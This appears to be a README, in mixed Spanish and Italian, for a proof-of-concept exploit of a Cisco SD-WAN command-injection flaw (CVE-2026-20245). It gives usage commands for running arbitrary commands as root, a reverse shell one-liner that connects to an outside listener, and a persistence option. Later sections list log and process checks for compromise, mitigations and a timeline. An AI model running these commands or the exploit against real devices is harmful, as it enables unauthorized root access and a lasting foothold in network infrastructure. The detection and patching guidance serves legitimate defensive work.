# Clonar repositorio
git clone https://github.com/username/CVE-2026-20245-PoC
cd CVE-2026-20245-PoC

# Instalar dependencias
pip install -r requirements.txt

# Dar permisos
chmod +x exploit.py
📦 Dipendenze
txt
requests>=2.31.0
🚀 Utilizzo
### Verificar versión
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password --check-only
### Esegui comando
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "id"
### Reverse shell
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
### Installa persistenza
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "whoami" --persist
🔍 Output atteso
text
╔═══════════════════════════════════════════════════════════════════╗
║  CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit     ║
║  Command Injection via Crafted File Upload                       ║
║  CVSS: 7.8 (High) | CISA KEV: 2026-06-09                        ║
╚═══════════════════════════════════════════════════════════════════╝

[*] Authenticating to 192.168.1.1...
[+] Authentication successful
[+] XSRF Token obtained
[*] Attempting to execute: id
[*] Trying endpoint: /system/device/upload
[*] Uploading malicious file...
[+] File uploaded successfully
[*] Triggering command injection...
[+] Trigger response: 200
[+] Command injection successful via /system/device/upload

============================================================
[✓] EXPLOIT SUCCESSFUL
[✓] Command executed as root
[!] System is VULNERABLE - Apply Cisco patch immediately
============================================================
🔍 Indicatori di Compromissione (IOC)
### Verifica nei logs (/var/log/scripts.log)
bash
# Buscar actividad sospechosa
grep -E "\.csv|malicious|upload_serial" /var/log/scripts.log

# Comandos específicos a buscar
Apr 15 09:44:57 vmanage vScript: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/malicious.csv
### File sospetti
/home/admin/*.csv (file CSV non autorizzati)

/tmp/*.csv

/var/log/scripts.log con voci insolite

### Processi
bash
# Buscar procesos root inusuales
ps aux | grep -E "bash|sh|nc|ncat|socat"
🛡️ Mitigazione
### Opzione 1 - Aggiorna alla versione corretta (RACCOMANDATO)
| Versione | Release corretta |
|----------|------------------|
| 20.18.2.1 e precedenti | 20.18.3.1 |
### Opzione 2 - Limita l'accesso
- Limita l'accesso amministrativo alla rete di gestione
- Usa autenticazione multifattore
- Monitora l'attività di upload CSV

### Opzione 3 - Configurazione sicura
text
# Deshabilitar upload de serial numbers si no es necesario
no feature upload-serial-numbers

# Limitar privilegios netadmin
admin privilege restrict
📚 Riferimenti
- Cisco Security Advisory
- NVD - CVE-2026-20245
- CISA KEV Catalog

📊 Cronologia
| Data | Evento |
|------|--------|
| 2026-05-14 | Cisco pubblica advisory iniziale |
| 2026-06-04 | CVE pubblicato ufficialmente |
| 2026-06-09 | CISA aggiunge a KEV |
| 2026-06-23 | Data limite CISA per la patch |

⚖️ Disclaimer
Questo software viene fornito "così com'è", senza garanzie. L'autore non è responsabile per l'uso improprio. Usalo solo su sistemi autorizzati.